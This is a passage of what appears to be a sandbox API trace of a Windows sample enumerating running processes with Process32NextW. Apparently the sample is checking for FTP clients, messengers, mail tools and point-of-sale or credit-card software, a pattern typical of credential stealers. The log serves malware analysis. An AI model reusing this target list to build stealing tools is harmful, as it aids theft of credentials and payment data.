pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.994] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.995] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.996] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.996] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0074.997] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0074.998] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.998] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.999] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.000] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.000] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.001] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.002] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.003] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.004] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.004] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.005] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.006] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.007] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.007] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.008] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.009] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0075.009] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.010] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.011] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.011] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0075.012] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0075.013] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0075.014] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0075.014] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0075.015] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0075.016] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.016] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0075.017] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0075.018] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0075.019] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0075.019] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0075.020] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0075.021] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0075.021] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0075.022] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0075.023] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0075.023] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0075.024] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0075.025] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0075.025] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0075.026] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0075.027] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0075.027] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.028] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.029] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.030] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.030] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.031] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0075.033] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0075.255] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0075.256] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0075.257] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0075.259] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0075.260] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0075.261] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0075.262] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0075.263] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0075.264] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0075.265] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0075.266] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0075.268] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0075.269] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0075.270] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0075.271] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0075.272] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0075.273] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0075.274] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0075.275] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0075.276] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0075.277] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0075.278] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0075.279] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0075.280] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0075.281] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0075.282] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0075.283] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0075.284] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, 